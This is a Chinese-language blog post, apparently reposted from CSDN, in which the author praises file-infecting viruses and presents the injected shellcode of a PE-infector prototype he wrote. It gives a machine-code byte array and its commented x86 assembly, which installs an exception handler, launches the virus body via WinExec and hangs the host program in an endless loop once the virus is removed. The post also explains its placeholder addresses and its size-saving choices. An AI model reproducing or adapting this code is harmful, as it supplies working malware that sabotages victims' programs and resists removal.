在我看來,感染型病毒才是真正稱得上為病毒,因為感染型病毒的手動清除比較困難,大學的時候,幫同學殺毒最煩躁的就是碰上感染型的病毒,除非寫一個程式自動處理,不然手動清除是相當麻煩的.當然我所謂的真正病毒主要是在我看來,能夠輕易用手工清除的病毒都不是好的病毒.現在病毒製造者追求的是快速的傳播速度,而忽略了病毒的"頑固性",一個木馬簡單的就使用一個啟動的登錄機碼顯然在清理上太方便了,甚至可以進安全模式刪了登錄機碼,連病毒屍體都可以無視,這樣就已經不能發揮作用了.
隨著對PE格式的深入研究和進階語言的發展,編寫感染型的病毒已經不再是只能用asm才能做到的.進階語言如VC同樣也可以完成,不過缺點就是編譯出來的病毒體太大.也是,現在的硬體水平,人們已經不再在乎這10+KB的空間.但是,病毒編寫是一種藝術,這種藝術在於它的隱蔽性,短短的注入100byte,利用程式本身的空隙不增加程式的長度是這種藝術的體現.當然,代碼長度的限制也必然導致注入代碼功能的減少.一個星期前寫了一個感染型病毒的雛形,寫下來當作是一種複習吧.
注入感染:
既然PE程式本身存在的空白可利用空間不大.那麼採取一種折中的方式,在感染PE檔案時,注入病毒檔案的啟動代碼,這樣就節省了大部分空間,當檢查到病毒實體被清除後,可以採取破壞宿主程式運行流程的方式進行"示威"
unsigned char InjectCode[] = {<br />0x68, 0x44, 0x33, 0x22, 0x11, 0x33, 0xC0, 0x64,<br />0xFF, 0x30, 0x64, 0x89, 0x20, 0x50, 0x68, 0x44,<br />0x33, 0x22, 0x11, 0xB8, 0x44, 0x33, 0x22, 0x11,<br />0xFF, 0xD0, 0x3C, 0x02, 0x74, 0x1E, 0x33, 0xC0,<br />0x64, 0x8F, 0x00, 0x5A, 0x68, 0x44, 0x33, 0x22,<br />0x11, 0xC3, 0x68, 0x44, 0x33, 0x22, 0x11, 0x8B,<br />0x44, 0x24, 0x0A, 0x8F, 0x80, 0xB8, 0x00, 0x00,<br />0x00, 0x33, 0xC0, 0xC3, 0xEB, 0xFE<br />};<br />/***********************************************<br />InjectCode[] =<br />__asm<br />{<br />PUSH 11223344H;安裝SEH<br />XOR EAX,EAX<br />PUSH DWORD PTR FS:[EAX]<br />MOV DWORD PTR FS:[EAX],ESP<br />PUSH EAX;uCmdShow<br />PUSH 11223344H;lpCmdLine<br />MOV EAX,11223344H;offset aWinExec<br />CALL EAX;Call WinExec<br />CMP AL,2;判斷病毒存在與否<br />JE LABEL;不存在則跳去死迴圈<br />XOR EAX,EAX;卸載SEH<br />POP DWORD PTR FS:[EAX]<br />POP EDX<br />PUSH 11223344H;宿主程式原OEP<br />RETN;返回執行<br />PUSH 11223344H;SEH例外處理常式<br />MOV EAX,DWORD PTR [ESP+10]<br />POP DWORD PTR [EAX+0B8H];將宿主OEP作為安全地址返回<br />XOR EAX,EAX<br />RETN<br />LABEL:<br />JMP LABEL;JMP -1(OxEBFE)<br />}<br />************************************************/
注入代碼就是下面_asm中彙編代碼的對應的機器碼.
這部分注入代碼的運行流程是:安裝SEH->WinExec()->判斷運行是否成功->不成功則進入死迴圈,成功則返回宿主執行
安裝SEH主要是為了保證注入感染後程式的健壯性,因為WinExec()的地址是寫入程式碼進去,如果換了系統容易導致異常,安裝SEH後如果出現異常也可以返回宿主代碼執行.11223344H是佔位地址,需要改成相應的地址.這裡使用WinExec而不用CreateProcess主要是後者的函數參數太多,使用WinExec的實質也是調用CreateProcess,但是參數只有2個,節省了10多個位元組的空間.並且由於我們已經安裝了SEH,也不怕Winexec產生異常.
有了上面的注入代碼,搜集必要地址資訊完善注入代碼後就可以進行感染.
本文來自CSDN部落格,轉載請標明出處:http://blog.csdn.net/GaA_Ra/archive/2010/06/27/5697579.aspx